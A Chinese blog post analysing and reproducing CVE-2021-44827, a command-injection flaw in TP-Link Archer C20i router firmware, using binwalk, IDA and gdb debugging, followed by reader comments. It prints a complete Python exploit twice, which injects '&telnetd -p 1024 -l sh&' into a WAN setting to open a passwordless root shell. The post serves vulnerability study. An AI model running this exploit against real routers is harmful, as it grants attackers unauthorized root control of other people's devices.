TP-Link Archer C20i 命令执行漏洞

固件安全
2022-03-11 09:07
30235
  • 测试环境:Ubuntu 18.04
  • 固件版本:Archer C20i(EU)_V1_160518
  • CVE编号:CVE-2021-44827
  • 厂商地址:https://www.tp-link.com/
  • 漏洞类型:命令执行

0x00 .前言

在CVE官网中公布了一个TP-Link CVE编号为CVE-2021-44827的命令执行漏洞,还是按老规矩直接去官网下载固件,将其移动到虚拟机中

0x01.固件提取

使用命令binwalk对固件进行解包

为了方便我们对固件包名进行了重命名,可以看到我们成功的解压了固件,拿到了固件的文件系统,接下来我们就可以对其进行分析了

0x02.漏洞分析

通过漏洞信息我们可以知道,此次的漏洞是WAN设置服务的命令执行,漏洞的位置是在设置网络相关参数的位置,具体的参数关键词是X_TP_ExternalIPv6Address,后端没有对其验证直接进行拼接了

然后调用lib.js中的ajax发送post请求到后端进行处理,那么我们将后端的二进制文件放到IDA中打开,去查看一下处理此请求的二进制文件

通过字符串搜索关键词,可以发现它是通过cgi后面加上数字进行不同服务的调用的

通过关键词搜索没有找到,可以看出最后处理这个请求的服务不在这个页面

继续查看其他二进制文件,查找处理这个请求的服务,发现在tdpd和tmpd中也出现了相关的字符串

两个文件的内容基本是一致的,具体造成telnetd服务被开启的命令是那呢?我们继续往下分析,可以看到httpd,tdpd和tmpd都会调用rdp_***相关的动态链接库,那么可以查找一下相关的动态链接库

这里可以看到对应的链接库为libcmm.so,那么我们可以猜想触发漏洞的位置可能位于此位置

0x03.动态调试分析

为了方便追踪数据的内存排布,这里使用gdbserver进行远程调试,由于这个漏洞能直接RCE,那么我们可以利用漏洞直接进入shell模式

使用的EXP如下:

import requests
import base64
import os
import time

ip = input("请输入要检测的IP地址:")
username = input("请输入管理员账户:")
password = input("请输入管理员密码:")
tplink_url = "http://" + ip + "/cgi?2&2"
userinfo = username + ":" + password
cookie = "Authorization=Basic " + base64.b64encode(userinfo.encode()).decode("ascii")
referer = "http://" + ip +"/mainFrame.htm"
cmd = "telnet " + ip + " 1024"
payload_template = """[WAN_ETH_INTF#1,0,0,0,0,0#0,0,0,0,0,0]0,1\r
X_TP_lastUsedIntf=ipoe_eth3_s\r
[WAN_IP_CONN#1,1,1,0,0,0#0,0,0,0,0,0]1,21\r
externalIPAddress=192.168.9.222\r
subnetMask=255.255.255.0\r
defaultGateway=192.168.9.2\r
NATEnabled=1\r
X_TP_FullconeNATEnabled=0\r
X_TP_FirewallEnabled=1\r
X_TP_IGMPProxyEnabled=1\r
X_TP_IGMPForceVersion=0\r
maxMTUSize=1500\r
DNSOverrideAllowed=1\r
DNSServers=192.168.9.3,0.0.0.0\r
X_TP_IPv4Enabled=1\r
X_TP_IPv6Enabled=0\r
X_TP_IPv6AddressingType=Static\r
X_TP_ExternalIPv6Address=commond\r
X_TP_PrefixLength=64\r
X_TP_DefaultIPv6Gateway=::\r
X_TP_IPv6DNSOverrideAllowed=0\r
X_TP_IPv6DNSServers=::,::\r
X_TP_MLDProxyEnabled=0\r
enable=1\r
"""
payload = payload_template.replace("commond", "::")
res = requests.post(tplink_url, data=payload, headers={"Referer": referer, "Cookie": cookie})
time.sleep(5)
print("===========")
payload = payload_template.replace("commond", "&telnetd -p 1024 -l sh&")
res = requests.post(tplink_url, data=payload, headers={"Referer": referer, "Cookie": cookie})
os.system(cmd)

为了进行远程gdb调试,需要将gdb服务端传入到系统中,由于系统本身的busybox进行了阉割,wget,curl等命令都没有,scp命令存在,由于模拟环境下scp会报dbclient缺失错误

这里使用的是firmadyne文件夹下提供的busybox的wget命令进行下载gdb服务端程序

这时,我们就可以进行远程gdb调试了

查看要进行调试的进程的PID,然后将gdb 服务端 attach上对应的PID即可

客户端使用gdb-multiarch与服务端建立连接

PS:这里建议使用solib-search-path进行动态链接库的查找,不然可能会出现调试不了动态链接库的情况

这里我们可以先在rdp_getObj,rdp_setObj设置相关断点,这些函数都位于动态链接库中,并且负责数据的获取和配置操作,也就是会对上述的payload_template中的数据进行处理

在执行脚本后,可以看到直接获取到了传递的payload_template中的键值

对于第一个认证请求,直接使用c继续运行,我们要进行抓取和分析的是post上传的请求

出现====时,则说明发送的是post配置请求,然后继续按c

可以看到当地址跳转到0x403eb8时,成功执行,由于此漏洞是在设置WAN的时候,造成了命令执行,我们在IDA中快速检索,可以看到如下函数

这里进行设置WAN并且可以看到util_execSystem命令执行函数,那么我们对util_execSystem下断点

b util_execSystem

然后进行调试,得到如下内容

可以看到拼接传递的telnetd是可以被拼接的,在gdb中继续单步执行,可以看到拼接后的字符串

这时候,再执行步出,跳出当前函数,使用telnet尝试连接

可以看到telnetd服务已经启动,证明命令执行成功

0x04.最终POC

既然我们已经知道出现漏洞的服务是哪个和具体参数,那么我们接下面就写poc来测试一下

我测试过这个服务是需要授权的,那么我们就在我们的poc中加入认证信息

import requests
import base64
import os
import time

ip = input("请输入要检测的IP地址:")
username = input("请输入管理员账户:")
password = input("请输入管理员密码:")
tplink_url = "http://" + ip + "/cgi?2&2"
userinfo = username + ":" + password
cookie = "Authorization=Basic " + base64.b64encode(userinfo.encode()).decode("ascii")
referer = "http://" + ip +"/mainFrame.htm"
cmd = "telnet " + ip + " 1024"
payload_template = """[WAN_ETH_INTF#1,0,0,0,0,0#0,0,0,0,0,0]0,1\r
X_TP_lastUsedIntf=ipoe_eth3_s\r
[WAN_IP_CONN#1,1,1,0,0,0#0,0,0,0,0,0]1,21\r
externalIPAddress=192.168.9.222\r
subnetMask=255.255.255.0\r
defaultGateway=192.168.9.2\r
NATEnabled=1\r
X_TP_FullconeNATEnabled=0\r
X_TP_FirewallEnabled=1\r
X_TP_IGMPProxyEnabled=1\r
X_TP_IGMPForceVersion=0\r
maxMTUSize=1500\r
DNSOverrideAllowed=1\r
DNSServers=192.168.9.3,0.0.0.0\r
X_TP_IPv4Enabled=1\r
X_TP_IPv6Enabled=0\r
X_TP_IPv6AddressingType=Static\r
X_TP_ExternalIPv6Address=commond\r
X_TP_PrefixLength=64\r
X_TP_DefaultIPv6Gateway=::\r
X_TP_IPv6DNSOverrideAllowed=0\r
X_TP_IPv6DNSServers=::,::\r
X_TP_MLDProxyEnabled=0\r
enable=1\r
"""
payload = payload_template.replace("commond", "::")
res = requests.post(tplink_url, data=payload, headers={"Referer": referer, "Cookie": cookie})
time.sleep(5)
payload = payload_template.replace("commond", "&telnetd -p 1024 -l sh&")
res = requests.post(tplink_url, data=payload, headers={"Referer": referer, "Cookie": cookie})
os.system(cmd)

成功登录telnet,无需密码直接进入,而且权限是root权限

0x05 总结

本次的漏洞复现及分析和以往的方法不一样,本次使用的是动态调试+静态分析,当我们知道已知漏洞,但是不知道具体发生点在什么位置,我们就可以使用此方式对齐动态调试,而这种方法在我们常规挖漏洞中也是最常用的一种方法

分享到

参与评论

0 / 200

全部评论 4

zebra的头像
学习大佬思路
2023-03-19 12:14
Hacking_Hui的头像
学习了
2023-02-01 14:20
tracert的头像
前排学习
2022-09-17 01:33
dreamingctf的头像
请问这个固件可以用FirmAE模拟起来吗?命令是什么?
2022-03-16 15:31
IOTsec-Zone的头像
可以模拟的
2022-03-17 22:40
dreamingctf的头像
命令是什么?怎么用起来?文章里没说啊
2022-03-18 08:17
splash的头像
sudo ./run.sh 那一套呗
2022-04-14 00:50
投稿
签到
联系我们
关于我们